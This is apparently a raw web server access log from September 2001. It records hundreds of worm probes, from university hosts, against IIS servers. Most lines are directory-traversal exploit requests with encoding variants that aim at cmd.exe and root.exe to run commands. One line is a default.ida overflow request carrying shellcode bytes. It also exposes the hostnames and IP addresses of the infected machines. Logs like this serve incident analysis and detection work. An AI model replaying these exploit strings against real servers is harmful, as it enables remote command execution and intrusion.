  11349. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11350. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11351. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11352. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11353. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11354. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11355. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11356. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11357. 20010919 15:43:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11358. 20010919 15:47:30: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11359. 20010919 15:51:01: public93.tc.columbia.edu [128.59.103.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11360. 20010919 15:51:01: public93.tc.columbia.edu [128.59.103.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11361. 20010919 15:51:04: public93.tc.columbia.edu [128.59.103.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11362. 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11363. 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11364. 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11365. 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11366. 20010919 15:51:05: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11367. 20010919 15:51:06: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11368. 20010919 15:51:09: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11369. 20010919 15:51:12: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11370. 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11371. 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11372. 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11373. 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11374. 20010919 15:51:13: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11375. 20010919 15:56:39: public93.tc.columbia.edu [128.59.103.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11376. 20010919 15:56:42: public93.tc.columbia.edu [128.59.103.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11377. 20010919 15:56:43: public93.tc.columbia.edu [128.59.103.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11378. 20010919 15:56:43: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11379. 20010919 15:56:43: public93.tc.columbia.edu [128.59.103.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11380. 20010919 15:56:50: public93.tc.columbia.edu [128.59.103.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11381. 20010919 15:56:50: public93.tc.columbia.edu [128.59.103.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11382. 20010919 15:56:50: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11383. 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11384. 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11385. 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11386. 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11387. 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11388. 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11389. 20010919 15:56:54: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11390. 20010919 15:56:58: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11391. 20010919 16:06:52: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11392. 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11393. 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11394. 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11395. 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11396. 20010919 16:40:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11397. 20010919 16:40:38: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11398. 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11399. 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11400. 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11401. 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11402. 20010919 16:46:18: public93.tc.columbia.edu [128.59.103.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11403. 20010919 16:46:22: public93.tc.columbia.edu [128.59.103.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11404. 20010919 16:46:22: public93.tc.columbia.edu [128.59.103.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11405. 20010919 16:46:25: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11406. 20010919 16:46:25: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11407. 20010919 16:46:29: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11408. 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11409. 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11410. 20010919 16:46:35: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11411. 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11412. 20010919 16:46:35: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11413. 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11414. 20010919 16:46:35: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11415. 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11416. 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11417. 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11418. 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11419. 20010919 16:46:36: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11420. 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11421. 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11422. 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11423. 20010919 16:46:37: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11424. 20010919 16:46:38: spr-18b-1.OOR.Berkeley.EDU [128.32.106.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11425. 20010919 16:46:38: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11426. 20010919 16:46:39: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11427. 20010919 16:46:39: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11428. 20010919 16:46:39: public93.tc.columbia.edu [128.59.103.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11429. 20010919 16:46:39: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11430. 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11431. 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11432. 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11433. 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11434. 20010919 16:50:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11435. 20010919 16:50:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11436. 20010919 16:50:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11437. 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11438. 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11439. 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11440. 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11441. 20010919 16:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11442. 20010919 16:50:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11443. 20010919 16:50:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11444. 20010919 16:50:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11445. 20010919 16:50:34: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11446. 20010919 16:59:13: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11447. 20010919 16:59:15: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11448. 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11449. 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11450. 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11451. 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11452. 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11453. 20010919 16:59:16: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11454. 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11455. 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11456. 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11457. 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11458. 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11459. 20010919 16:59:17: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11460. 20010919 16:59:18: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11461. 20010919 16:59:18: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11462. 20010919 17:00:04: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11463. 20010919 17:00:08: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11464. 20010919 17:00:09: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11465. 20010919 17:00:09: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11466. 20010919 17:00:11: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11467. 20010919 17:00:11: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11468. 20010919 17:00:13: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11469. 20010919 17:00:13: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11470. 20010919 17:00:14: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11471. 20010919 17:00:15: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11472. 20010919 17:00:16: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11473. 20010919 17:00:17: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11474. 20010919 17:00:18: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11475. 20010919 17:00:18: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11476. 20010919 17:00:19: dialup-cc3-57.cc.columbia.edu [128.59.42.162] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11477. 20010919 17:00:20:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11478. 20010919 17:02:49: dltest.uky.edu [128.163.126.85] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11479. 20010919 17:02:49:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11480. 20010919 17:03:07: dltest.uky.edu [128.163.126.85] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11481. 20010919 17:03:08:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11482. 20010919 17:03:26: dltest.uky.edu [128.163.126.85] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11483. 20010919 17:03:26:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11484. 20010919 17:03:44: dltest.uky.edu [128.163.126.85] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11485. 20010919 17:03:44:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11486. 20010919 17:04:02: dltest.uky.edu [128.163.126.85] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11487. 20010919 17:04:02:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11488. 20010919 17:04:21: dltest.uky.edu [128.163.126.85] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11489. 20010919 17:04:21:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11490. 20010919 17:04:39: dltest.uky.edu [128.163.126.85] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11491. 20010919 17:04:39:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11492. 20010919 17:04:57:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11493. 20010919 17:05:15: dltest.uky.edu [128.163.126.85] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11494. 20010919 17:05:15:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11495. 20010919 17:05:34:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11496. 20010919 17:05:52: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11497. 20010919 17:05:52:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11498. 20010919 17:06:10:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11499. 20010919 17:06:28: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11500. 20010919 17:06:28:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11501. 20010919 17:06:46: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11502. 20010919 17:06:46:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11503. 20010919 17:07:05: dltest.uky.edu [128.163.126.85] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11504. 20010919 17:07:05:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11505. 20010919 17:07:23: dltest.uky.edu [128.163.126.85] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11506. 20010919 17:07:23:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11507. 20010919 17:07:41:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11508. 20010919 17:07:59: dltest.uky.edu [128.163.126.85] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11509. 20010919 17:07:59:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11510. 20010919 17:08:17:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11511. 20010919 17:08:36: dltest.uky.edu [128.163.126.85] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11512. 20010919 17:08:36:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11513. 20010919 17:08:54:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11514. 20010919 17:09:12: dltest.uky.edu [128.163.126.85] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11515. 20010919 17:09:12:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11516. 20010919 17:09:30:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11517. 20010919 17:09:48: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11518. 20010919 17:09:48:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11519. 20010919 17:10:07:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11520. 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11521. 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11522. 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11523. 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11524. 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11525. 20010919 17:10:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11526. 20010919 17:10:25:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11527. 20010919 17:10:43: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11528. 20010919 17:10:43:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11529. 20010919 17:11:01: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11530. 20010919 17:11:01:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11531. 20010919 17:11:20: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
